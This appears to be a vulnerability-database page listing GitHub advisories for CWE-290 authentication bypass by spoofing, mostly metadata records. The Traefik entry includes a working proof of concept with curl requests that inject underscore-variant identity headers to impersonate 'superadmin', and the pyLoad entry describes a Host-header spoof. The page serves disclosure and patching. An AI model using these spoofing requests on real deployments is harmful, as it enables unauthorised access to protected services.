Common Weakness Enumeration
CWE-290
AllowedAuthentication Bypass by Spoofing
Abstraction: Base · Status: Incomplete
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
1004 vulnerabilities reference this CWE, most recent first.
GHSA-WW2R-4HMC-9MH3
Vulnerability from github – Published: 2024-02-21 09:31 – Updated: 2025-11-04 21:31
VLAI
Details
The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.1, macOS Monterey 12.7.1, macOS Ventura 13.6.1. An app may be able to bypass certain Privacy preferences.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-42889"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T07:15:50Z",
"severity": "MODERATE"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.1, macOS Monterey 12.7.1, macOS Ventura 13.6.1. An app may be able to bypass certain Privacy preferences.",
"id": "GHSA-ww2r-4hmc-9mh3",
"modified": "2025-11-04T21:31:11Z",
"published": "2024-02-21T09:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42889"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213983"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213984"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213985"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213984"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT213985"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X29W-C3HM-RX69
Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2024-06-04 12:31
VLAI
Details
Authentication Bypass by Spoofing vulnerability in yonifre Maspik – Spam blacklist allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Maspik – Spam blacklist: from n/a through 0.10.3.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-48271"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-04T11:15:48Z",
"severity": "MODERATE"
},
"details": "Authentication Bypass by Spoofing vulnerability in yonifre Maspik \u2013 Spam blacklist allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Maspik \u2013 Spam blacklist: from n/a through 0.10.3.",
"id": "GHSA-x29w-c3hm-rx69",
"modified": "2024-06-04T12:31:04Z",
"published": "2024-06-04T12:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48271"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/contact-forms-anti-spam/wordpress-maspik-spam-blacklist-plugin-0-9-2-ip-filtering-bypass-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X47X-F96M-J7GV
Vulnerability from github – Published: 2024-06-11 18:30 – Updated: 2024-06-11 18:30
VLAI
Details
A low severity vulnerability in BIPS has been identified where an attacker with high privileges or a compromised high privilege account can overwrite Read-Only smart rules via a specially crafted API request.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-5812"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T16:15:29Z",
"severity": "LOW"
},
"details": "A low severity vulnerability in BIPS has been identified where an attacker with high privileges or a compromised high privilege account can overwrite Read-Only smart rules via a specially crafted API request.",
"id": "GHSA-x47x-f96m-j7gv",
"modified": "2024-06-11T18:30:46Z",
"published": "2024-06-11T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5812"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/bt24-07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X4C7-X467-XC9C
Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-27 15:32
VLAI
Details
GeoIP lookups trusted spoofable forwarded client-IP headers, this could cause GeoIP-rule bypass.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-64875"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-23T10:16:52Z",
"severity": "MODERATE"
},
"details": "GeoIP lookups trusted spoofable forwarded client-IP headers, this could cause GeoIP-rule bypass.",
"id": "GHSA-x4c7-x467-xc9c",
"modified": "2026-07-27T15:32:27Z",
"published": "2026-07-23T12:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64875"
},
{
"type": "WEB",
"url": "https://regularlabs.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X4R5-GCGV-4CMP
Vulnerability from github – Published: 2022-05-24 17:01 – Updated: 2022-10-14 19:00
VLAI
Details
Inappropriate implementation in navigation in Google Chrome on iOS prior to 78.0.3904.70 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-13708"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-25T15:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in navigation in Google Chrome on iOS prior to 78.0.3904.70 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.",
"id": "GHSA-x4r5-gcgv-4cmp",
"modified": "2022-10-14T19:00:25Z",
"published": "2022-05-24T17:01:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13708"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2019/10/stable-channel-update-for-desktop_22.html"
},
{
"type": "WEB",
"url": "https://crbug.com/931894"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X677-9FXG-V5C5
Vulnerability from github – Published: 2026-08-06 16:53 – Updated: 2026-08-06 16:53
VLAI
Summary
Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth
Details
Summary
There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth
middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers
(e.g. X-Auth-User) before writing Traefik's own value, but did not account for
underscore-variant header names (e.g. X_Auth_User), which many backends normalize
identically to the dashed form. An attacker able to reach a protected route could inject
an underscore-variant header that survives Traefik's stripping and reaches the backend
alongside — or, on the unauthenticated ForwardAuth authResponseHeaders path, instead of
— the value Traefik intended to set, spoofing identity or authorization context. This is
fixed by setting the new allowHeadersWithUnderscores: false entry point option, which
strips all headers with underscores in their names before routing.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.51
- https://github.com/traefik/traefik/releases/tag/v3.6.22
- https://github.com/traefik/traefik/releases/tag/v3.7.6
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture. The defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants). ## Root cause In `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:if b.headerField != "" {
// TODO Deprecated we should add the header with canonical key.
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
}
func isManagedXHeader(key string) bool {
if len(key) == 0 || key[0] != 'X' { return false }
if _, ok := XHeadersSet[key]; ok { return true }
if strings.IndexByte(key, '_') < 0 { return false }
canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, "_", "-"))
_, ok := XHeadersSet[canonical]
return ok
}
# docker-compose.yml
services:
traefik:
image: traefik:v3.6.14
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:80
ports:
- "8080:80"
volumes:
- ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro
echo:
image: mendhak/http-https-echo:36
environment:
- HTTP_PORT=8888
# traefik/dynamic.yml — canonical headerField, recommended operator config
http:
routers:
protected:
rule: "PathPrefix(`/`)"
service: echo
middlewares: [basic-auth]
services:
echo:
loadBalancer:
servers: [{url: "http://echo:8888"}]
middlewares:
basic-auth:
basicAuth:
users:
- 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC' # alice:secret123
headerField: "X-Auth-User"
$ curl -s -u alice:secret123 -H "X-Auth-User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
...
}
$ curl -s -u alice:secret123 -H "X_Auth_User: superadmin" http://localhost:8080/
{
...
"x-auth-user": "alice",
"x_auth_user": "superadmin",
...
}
$ curl -s -u alice:secret123 \
-H "X-Auth-User: superadmin" \
-H "X_Auth_User: superadmin" \
http://localhost:8080/
{
...
"x-auth-user": "alice", # Traefik's writeback
"x_auth_user": "superadmin", # attacker's underscore — survived Del
...
}
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
canonical := http.CanonicalHeaderKey(b.headerField)
// Strip canonical AND underscore-variant of the canonical key.
for key := range req.Header {
if key == canonical || strings.EqualFold(strings.ReplaceAll(key, "_", "-"), canonical) {
delete(req.Header, key)
}
}
req.Header.Set(canonical, user) // canonical-key write
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.50"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.21"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54763"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T16:53:53Z",
"nvd_published_at": "2026-07-06T21:16:56Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik\u0027s own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik\u0027s stripping and reaches the backend\nalongside \u2014 or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n\u2014 the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go\u0027s `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator \u2014 so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik\u0027s own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` \u2194 `-` equivalently or expose both forms to application code that may read the attacker\u0027s value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context \u2014 such as a trusted scheme or host \u2014 through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` \u2014 BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` \u2014 DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` \u2014 ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` \u2014 Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x \u2264 3.6.14, v3.7.x \u2264 3.7.0-rc.2, v2.11.x \u2264 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n // TODO Deprecated we should add the header with canonical key.\n req.Header.Del(b.headerField)\n req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer\u0027s gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n if len(key) == 0 || key[0] != \u0027X\u0027 { return false }\n if _, ok := XHeadersSet[key]; ok { return true }\n if strings.IndexByte(key, \u0027_\u0027) \u003c 0 { return false }\n canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n _, ok := XHeadersSet[canonical]\n return ok\n}\n```\n\nThis treats `_` \u2194 `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n traefik:\n image: traefik:v3.6.14\n command:\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --entrypoints.web.address=:80\n ports:\n - \"8080:80\"\n volumes:\n - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n echo:\n image: mendhak/http-https-echo:36\n environment:\n - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml \u2014 canonical headerField, recommended operator config\nhttp:\n routers:\n protected:\n rule: \"PathPrefix(`/`)\"\n service: echo\n middlewares: [basic-auth]\n services:\n echo:\n loadBalancer:\n servers: [{url: \"http://echo:8888\"}]\n middlewares:\n basic-auth:\n basicAuth:\n users:\n - \u0027alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC\u0027 # alice:secret123\n headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control \u2014 CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\",\n ...\n}\n```\n\nThe attacker\u0027s canonical `X-Auth-User: superadmin` was correctly stripped by Traefik\u0027s `Del`; the backend receives only Traefik\u0027s authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass \u2014 underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\",\n \"x_auth_user\": \"superadmin\",\n ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send \u2014 same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n -H \"X-Auth-User: superadmin\" \\\n -H \"X_Auth_User: superadmin\" \\\n http://localhost:8080/\n{\n ...\n \"x-auth-user\": \"alice\", # Traefik\u0027s writeback\n \"x_auth_user\": \"superadmin\", # attacker\u0027s underscore \u2014 survived Del\n ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC\u0027s echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` \u2194 `-` equivalently \u2014 meaning the attacker\u0027s value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 \u00a74.1.18 \u2014 header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server\u0027s iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC\u0027s PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` \u2014 one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` \u2014 parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) \u2014 analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) \u2014 same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n delete(req.Header, key)\n }\n}\nreq.Header.Set(canonical, user) // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` \u2194 `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433\u0027s fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858\u0027s fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it \u2014 but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go\u0027s canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`). CVE credit requested.\n\n## AI-assistance disclosure\n\nStatic analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.\n\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-x677-9fxg-v5c5",
"modified": "2026-08-06T16:53:53Z",
"published": "2026-08-06T16:53:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54763"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/pull/13262"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/108a5264473a2cbc8f12d6d691a3c6553cdf2c1b"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.51"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.22"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth"
}
GHSA-X698-5HJM-W2M5
Vulnerability from github – Published: 2025-07-08 21:36 – Updated: 2025-07-08 23:38
VLAI
Summary
pyLoad is vulnerable to attacks that bypass localhost restrictions, enabling the creation of arbitrary packages
Details
Summary
Any unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages.
Details
Any unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages. This is done by changing the Host header to the value of 127.0.0.1:9666.
PoC
The application has middleware that prevents access to several routes by checking whether the Host header has a specific value. We bypassed this restriction.
https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36
#: decorator
